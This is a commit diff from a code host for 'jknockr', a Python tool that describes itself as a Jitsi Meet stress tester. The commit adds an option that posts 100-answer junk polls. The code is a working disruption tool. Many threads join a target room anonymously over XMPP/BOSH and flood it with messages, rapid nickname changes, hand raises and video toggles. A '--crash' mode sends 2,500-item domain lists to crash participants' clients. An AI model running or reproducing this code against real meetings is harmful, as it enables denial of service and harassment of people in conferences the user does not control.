Added --poll option

This commit is contained in:
Dionysus 2024-10-12 23:43:43 -04:00
parent 2c1bd705f2
commit 2f13094ed4
Signed by: acidvegas
GPG Key ID: EF4B922DB85DC9DE
2 changed files with 262 additions and 230 deletions

View File

@ -36,6 +36,7 @@ python3 jknockr.py <target> [options]
- `--message "Your message"`: Send a custom message to the room. - `--message "Your message"`: Send a custom message to the room.
- `--hand`: Enable hand raising simulation. - `--hand`: Enable hand raising simulation.
- `--nick` or `--nick "Nickname"`: Enable nickname changes. Optionally provide a base nickname. - `--nick` or `--nick "Nickname"`: Enable nickname changes. Optionally provide a base nickname.
- `--poll "Your message"`: Enable creating polls
- `--youtube "YouTube URL"`: Share a YouTube video in the room. - `--youtube "YouTube URL"`: Share a YouTube video in the room.
- `--threads N`: Number of client threads to simulate (default is 100). - `--threads N`: Number of client threads to simulate (default is 100).

View File

@ -3,6 +3,7 @@
import argparse import argparse
import http.cookiejar import http.cookiejar
import json
import random import random
import re import re
import socket import socket
@ -16,255 +17,285 @@ import xml.etree.ElementTree as ET
def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id: str) -> None: def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id: str) -> None:
'''Performs the client join process and handles messaging, hand raising, nickname changes, and video sharing. '''Performs the client join process and handles messaging, hand raising, nickname changes, video sharing, and poll creation.
:param client_id: The ID of the client (thread number) :param client_id: The ID of the client (thread number)
:param tlds: List of TLDs to use for generating messages :param tlds: List of TLDs to use for generating messages
:param args: Parsed command-line arguments :param args: Parsed command-line arguments
:param video_id: YouTube video ID to share :param video_id: YouTube video ID to share
''' '''
try: try:
print(f'Client {client_id}: Starting') print(f'Client {client_id}: Starting')
cookie_jar = http.cookiejar.CookieJar() cookie_jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar)) opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))
headers = {'Content-Type': 'text/xml; charset=utf-8'} headers = {'Content-Type': 'text/xml; charset=utf-8'}
rid = random.randint(1000000, 9999999) rid = random.randint(1000000, 9999999)
parsed_url = urllib.parse.urlparse(args.target) parsed_url = urllib.parse.urlparse(args.target)
target_domain = parsed_url.hostname target_domain = parsed_url.hostname
room_name = parsed_url.path.strip('/') room_name = parsed_url.path.strip('/')
if not room_name: if not room_name:
print(f'Client {client_id}: No room name specified in the target URL.') print(f'Client {client_id}: No room name specified in the target URL.')
return return
bosh_url = f'https://{target_domain}/http-bind' bosh_url = f'https://{target_domain}/http-bind'
if args.nick: if args.nick:
if isinstance(args.nick, str) and args.nick is not True: if isinstance(args.nick, str) and args.nick is not True:
base_nick = args.nick base_nick = args.nick
random_length = 50 - len(base_nick) - 2 random_length = 50 - len(base_nick) - 2
if random_length < 0: if random_length < 0:
print(f'Client {client_id}: Nickname is too long.') print(f'Client {client_id}: Nickname is too long.')
return return
nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length//2)) + '_' + base_nick + '_' + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length - random_length//2)) nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length//2)) + '_' + base_nick + '_' + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length - random_length//2))
else: else:
nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50)) nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50))
else: else:
nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
print(f'Client {client_id}: Establishing session') print(f'Client {client_id}: Establishing session')
body = f'''<body rid='{rid}' to='{target_domain}' xml:lang='en' wait='60' hold='1' xmlns='http://jabber.org/protocol/httpbind'/>''' body = f'''<body rid='{rid}' to='{target_domain}' xml:lang='en' wait='60' hold='1' xmlns='http://jabber.org/protocol/httpbind'/>'''
request = urllib.request.Request(bosh_url, data=body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
sid = extract_sid(response_text) sid = extract_sid(response_text)
if not sid: if not sid:
print(f'Client {client_id}: Failed to obtain session ID.') print(f'Client {client_id}: Failed to obtain session ID.')
print(f'Client {client_id}: Server response: {response_text}') print(f'Client {client_id}: Server response: {response_text}')
return return
print(f'Client {client_id}: Obtained session ID: {sid}') print(f'Client {client_id}: Obtained session ID: {sid}')
rid += 1 rid += 1
print(f'Client {client_id}: Sending authentication request') print(f'Client {client_id}: Sending authentication request')
auth_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'> auth_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<auth mechanism='ANONYMOUS' xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/> <auth mechanism='ANONYMOUS' xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/>
</body>''' </body>'''
request = urllib.request.Request(bosh_url, data=auth_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=auth_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
if '<success' in response_text: if '<success' in response_text:
print(f'Client {client_id}: Authentication successful.') print(f'Client {client_id}: Authentication successful.')
else: else:
print(f'Client {client_id}: Authentication failed.') print(f'Client {client_id}: Authentication failed.')
print(f'Client {client_id}: Server response: {response_text}') print(f'Client {client_id}: Server response: {response_text}')
return return
rid += 1 rid += 1
print(f'Client {client_id}: Restarting stream') print(f'Client {client_id}: Restarting stream')
restart_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind' to='{target_domain}' xml:lang='en' xmpp:restart='true' xmlns:xmpp='urn:xmpp:xbosh'/>''' restart_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind' to='{target_domain}' xml:lang='en' xmpp:restart='true' xmlns:xmpp='urn:xmpp:xbosh'/>'''
request = urllib.request.Request(bosh_url, data=restart_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=restart_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
rid += 1 rid += 1
print(f'Client {client_id}: Binding resource') print(f'Client {client_id}: Binding resource')
bind_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'> bind_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<iq type='set' id='bind_1' xmlns='jabber:client'> <iq type='set' id='bind_1' xmlns='jabber:client'>
<bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'/> <bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'/>
</iq> </iq>
</body>''' </body>'''
request = urllib.request.Request(bosh_url, data=bind_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=bind_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
jid = extract_jid(response_text) jid = extract_jid(response_text)
if not jid: if not jid:
print(f'Client {client_id}: Failed to bind resource.') print(f'Client {client_id}: Failed to bind resource.')
print(f'Client {client_id}: Server response: {response_text}') print(f'Client {client_id}: Server response: {response_text}')
return return
print(f'Client {client_id}: Bound resource. JID: {jid}') print(f'Client {client_id}: Bound resource. JID: {jid}')
rid += 1 rid += 1
print(f'Client {client_id}: Sending initial presence') print(f'Client {client_id}: Sending initial presence')
presence_elements = [ presence_elements = [
'<x xmlns=\'http://jabber.org/protocol/muc\'/>', '<x xmlns=\'http://jabber.org/protocol/muc\'/>',
f'<nick xmlns=\'http://jabber.org/protocol/nick\'>{nickname}</nick>' f'<nick xmlns=\'http://jabber.org/protocol/nick\'>{nickname}</nick>'
] ]
presence_stanza = ''.join(presence_elements) presence_stanza = ''.join(presence_elements)
room_jid = f'{room_name}@conference.{target_domain}/{nickname}' room_jid = f'{room_name}@conference.{target_domain}/{nickname}'
presence_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'> presence_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<presence to='{room_jid}' xmlns='jabber:client'> <presence to='{room_jid}' xmlns='jabber:client'>
{presence_stanza} {presence_stanza}
</presence> </presence>
</body>''' </body>'''
request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to initial presence (join room):') print(f'Client {client_id}: Server response to initial presence (join room):')
print(response_text) print(response_text)
rid += 1 rid += 1
hand_raised = True if args.poll:
for i in range(1, 101): # Build the poll message
print(f'Client {client_id}: Starting iteration {i}') poll_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=12))
if args.nick: base_question = args.poll
if isinstance(args.nick, str) and args.nick is not True: random_length = 50
base_nick = args.nick question = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length)) + base_question + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length))
random_length = 50 - len(base_nick) - 2 answers = []
if random_length < 0: for _ in range(100):
print(f'Client {client_id}: Nickname is too long.') option_text = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length)) + base_question + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length))
return answers.append(option_text)
nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length//2)) + '_' + base_nick + '_' + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length - random_length//2)) poll_content = {
else: 'type': 'new-poll',
nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50)) 'pollId': poll_id,
presence_elements = [] 'question': question,
presence_elements.append(f'<nick xmlns=\'http://jabber.org/protocol/nick\'>{nickname}</nick>') 'answers': answers
if args.hand: }
timestamp = int(time.time() * 1000) poll_json = json.dumps(poll_content)
if hand_raised: message_id = ''.join(random.choices(string.ascii_letters + string.digits, k=24))
presence_elements.append(f'<jitsi_participant_raisedHand>{timestamp}</jitsi_participant_raisedHand>') message_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
hand_raised = not hand_raised <message from='{jid}' type='groupchat' xml:lang='en' id='{message_id}' to='{room_name}@conference.{target_domain}' xmlns='jabber:client'>
if args.youtube and video_id: <json-message xmlns='http://jitsi.org/jitmeet'>{poll_json}</json-message>
video_state = 'start' if i % 2 == 1 else 'stop' </message>
presence_elements.append(f'<shared-video from=\'{jid}\' state=\'{video_state}\' time=\'0\'>{video_id}</shared-video>') </body>'''
if args.nick or args.hand or args.youtube: request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST')
presence_stanza = ''.join(presence_elements) response = opener.open(request, timeout=10)
room_jid = f'{room_name}@conference.{target_domain}/{nickname}' response_text = response.read().decode('utf-8')
presence_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'> print(f'Client {client_id}: Sent poll message:')
<presence to='{room_jid}' xmlns='jabber:client'> print(response_text)
{presence_stanza} rid += 1
</presence> hand_raised = True
</body>''' for i in range(1, 101):
request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST') print(f'Client {client_id}: Starting iteration {i}')
response = opener.open(request, timeout=30) if args.nick:
response_text = response.read().decode('utf-8') if isinstance(args.nick, str) and args.nick is not True:
print(f'Client {client_id}: Server response to presence update:') base_nick = args.nick
print(response_text) random_length = 50 - len(base_nick) - 2
rid += 1 if random_length < 0:
if args.crash or args.message: print(f'Client {client_id}: Nickname is too long.')
if args.crash: return
if not tlds: nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length//2)) + '_' + base_nick + '_' + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length - random_length//2))
print(f'Client {client_id}: TLD list is empty. Using default TLDs.') else:
tlds = ['com', 'net', 'org', 'info', 'io'] nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50))
msg = ' '.join( f'{random_word(2)}@{random_word(2)}.{random.choice(tlds)}' if random.choice([True,False]) else f'{random_word(4)}.{random.choice(tlds)}' for _ in range(2500)) presence_elements = []
elif args.message: presence_elements.append(f'<nick xmlns=\'http://jabber.org/protocol/nick\'>{nickname}</nick>')
msg = args.message if args.hand:
message_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'> timestamp = int(time.time() * 1000)
<message to='{room_name}@conference.{target_domain}' type='groupchat' xmlns='jabber:client'> if hand_raised:
<body>{msg}</body> presence_elements.append(f'<jitsi_participant_raisedHand>{timestamp}</jitsi_participant_raisedHand>')
</message> hand_raised = not hand_raised
</body>''' if args.youtube and video_id:
request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST') video_state = 'start' if i % 2 == 1 else 'stop'
response = opener.open(request, timeout=30) presence_elements.append(f'<shared-video from=\'{jid}\' state=\'{video_state}\' time=\'0\'>{video_id}</shared-video>')
response_text = response.read().decode('utf-8') if args.nick or args.hand or args.youtube:
print(f'Client {client_id}: Server response to message {i}:') presence_stanza = ''.join(presence_elements)
print(response_text) room_jid = f'{room_name}@conference.{target_domain}/{nickname}'
rid += 1 presence_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
print(f'Client {client_id}: Finished') <presence to='{room_jid}' xmlns='jabber:client'>
except Exception as e: {presence_stanza}
print(f'Client {client_id}: Exception occurred: {e}') </presence>
</body>'''
request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to presence update:')
print(response_text)
rid += 1
if args.crash or args.message:
if args.crash:
if not tlds:
print(f'Client {client_id}: TLD list is empty. Using default TLDs.')
tlds = ['com', 'net', 'org', 'info', 'io']
msg = ' '.join(f'{random_word(5)}.{random.choice(tlds)}' for _ in range(2500))
elif args.message:
msg = args.message
message_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<message to='{room_name}@conference.{target_domain}' type='groupchat' xmlns='jabber:client'>
<body>{msg}</body>
</message>
</body>'''
request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to message {i}:')
print(response_text)
rid += 1
print(f'Client {client_id}: Finished')
except Exception as e:
print(f'Client {client_id}: Exception occurred: {e}')
def extract_jid(response_text: str) -> str: def extract_jid(response_text: str) -> str:
'''Extracts the JID from the XML response. '''Extracts the JID from the XML response.
:param response_text: The XML response text from which to extract the JID :param response_text: The XML response text from which to extract the JID
''' '''
try: try:
root = ET.fromstring(response_text) root = ET.fromstring(response_text)
for elem in root.iter(): for elem in root.iter():
if 'jid' in elem.tag: if 'jid' in elem.tag:
return elem.text return elem.text
return None return None
except ET.ParseError: except ET.ParseError:
return None return None
def extract_sid(response_text: str) -> str: def extract_sid(response_text: str) -> str:
'''Extracts the SID from the XML response. '''Extracts the SID from the XML response.
:param response_text: The XML response text from which to extract the SID :param response_text: The XML response text from which to extract the SID
''' '''
try: try:
root = ET.fromstring(response_text) root = ET.fromstring(response_text)
return root.attrib.get('sid') return root.attrib.get('sid')
except ET.ParseError: except ET.ParseError:
return None return None
def force_ipv4() -> None: def force_ipv4() -> None:
'''Forces the use of IPv4 by monkey-patching socket.getaddrinfo.''' '''Forces the use of IPv4 by monkey-patching socket.getaddrinfo.'''
socket._original_getaddrinfo = socket.getaddrinfo socket._original_getaddrinfo = socket.getaddrinfo
def getaddrinfo_ipv4_only(host, port, family=0, type=0, proto=0, flags=0): def getaddrinfo_ipv4_only(host, port, family=0, type=0, proto=0, flags=0):
return socket._original_getaddrinfo(host, port, socket.AF_INET, type, proto, flags) return socket._original_getaddrinfo(host, port, socket.AF_INET, type, proto, flags)
socket.getaddrinfo = getaddrinfo_ipv4_only socket.getaddrinfo = getaddrinfo_ipv4_only
def main() -> None: def main() -> None:
'''Main function to start threads and execute the stress test.''' '''Main function to start threads and execute the stress test.'''
parser = argparse.ArgumentParser(description='Stress test a Jitsi Meet server.') parser = argparse.ArgumentParser(description='Stress test a Jitsi Meet server.')
parser.add_argument('target', help='Target room URL (e.g., https://meet.jit.si/roomname)') parser.add_argument('target', help='Target room URL (e.g., https://meet.jit.si/roomname)')
parser.add_argument('--crash', action='store_true', help='Enable crash (send large messages with random TLDs)') parser.add_argument('--crash', action='store_true', help='Enable crash (send large messages with random TLDs)')
parser.add_argument('--message', type=str, help='Send a custom message') parser.add_argument('--message', type=str, help='Send a custom message')
parser.add_argument('--hand', action='store_true', help='Enable hand raising') parser.add_argument('--hand', action='store_true', help='Enable hand raising')
parser.add_argument('--nick', nargs='?', const=True, help='Enable nickname changes. Optionally provide a nickname') parser.add_argument('--nick', nargs='?', const=True, help='Enable nickname changes. Optionally provide a nickname')
parser.add_argument('--youtube', type=str, help='Share a YouTube video (provide URL)') parser.add_argument('--youtube', type=str, help='Share a YouTube video (provide URL)')
parser.add_argument('--threads', type=int, default=100, help='Number of threads (clients) to use') parser.add_argument('--poll', type=str, help='Create a poll with the provided question')
args = parser.parse_args() parser.add_argument('--threads', type=int, default=1, help='Number of threads (clients) to use')
tlds = [] args = parser.parse_args()
if args.crash: tlds = []
print('Fetching TLDs') if args.crash:
try: print('Fetching TLDs')
tlds_url = 'https://data.iana.org/TLD/tlds-alpha-by-domain.txt' try:
request = urllib.request.Request(tlds_url) tlds_url = 'https://data.iana.org/TLD/tlds-alpha-by-domain.txt'
with urllib.request.urlopen(request, timeout=30) as response: request = urllib.request.Request(tlds_url)
response_text = response.read().decode('utf-8') with urllib.request.urlopen(request, timeout=10) as response:
tlds = [line.lower() for line in response_text.splitlines() if not line.startswith('#')] response_text = response.read().decode('utf-8')
print(f'Number of TLDs fetched: {len(tlds)}') tlds = [line.lower() for line in response_text.splitlines() if not line.startswith('#')]
if not tlds: print(f'Number of TLDs fetched: {len(tlds)}')
print('TLD list is empty after fetching. Using default TLDs.') if not tlds:
tlds = ['com', 'net', 'org', 'info', 'io'] print('TLD list is empty after fetching. Using default TLDs.')
except Exception as e: tlds = ['com', 'net', 'org', 'info', 'io']
print(f'Failed to fetch TLDs: {e}') except Exception as e:
print('Using default TLDs.') print(f'Failed to fetch TLDs: {e}')
tlds = ['com', 'net', 'org', 'info', 'io'] print('Using default TLDs.')
video_id = None tlds = ['com', 'net', 'org', 'info', 'io']
if args.youtube: video_id = None
youtube_url = args.youtube if args.youtube:
video_id_match = re.search(r'(?:v=|\/)([0-9A-Za-z_-]{11}).*', youtube_url) youtube_url = args.youtube
if video_id_match: video_id_match = re.search(r'(?:v=|\/)([0-9A-Za-z_-]{11}).*', youtube_url)
video_id = video_id_match.group(1) if video_id_match:
print(f'Parsed YouTube video ID: {video_id}') video_id = video_id_match.group(1)
else: print(f'Parsed YouTube video ID: {video_id}')
print('Invalid YouTube URL provided.') else:
return print('Invalid YouTube URL provided.')
threads = [] return
for i in range(args.threads): threads = []
t = threading.Thread(target=client_join, args=(i, tlds, args, video_id)) for i in range(args.threads):
threads.append(t) t = threading.Thread(target=client_join, args=(i, tlds, args, video_id))
t.start() threads.append(t)
for t in threads: t.start()
t.join() for t in threads:
t.join()
def random_word(length: int) -> str: def random_word(length: int) -> str:
'''Generates a random word of a given length. '''Generates a random word of a given length.
:param length: The length of the word to generate :param length: The length of the word to generate
''' '''
letters = string.ascii_lowercase letters = string.ascii_lowercase
return ''.join(random.choice(letters) for _ in range(length)) return ''.join(random.choice(letters) for _ in range(length))
if __name__ == '__main__': if __name__ == '__main__':
force_ipv4() force_ipv4()
main() main()